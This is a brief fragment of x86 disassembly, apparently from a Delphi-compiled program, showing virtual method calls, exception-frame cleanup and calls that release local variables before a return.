mov edx, 0x453ec4
mov ecx, dword [eax]
call dword [ecx + 0x80]
jmp 0x4533cd
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x1e0]
mov edx, 0x453f00
mov ecx, dword [eax]
call dword [ecx + 0x80]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x453421
lea eax, [ebp - 0x208]
mov edx, 2
call fcn.004039f0
lea eax, [ebp - 0x34]
call fcn.004039cc
lea eax, [ebp - 0x2c]
mov edx, 3
call fcn.004039f0
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.004039f0
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004039f0
ret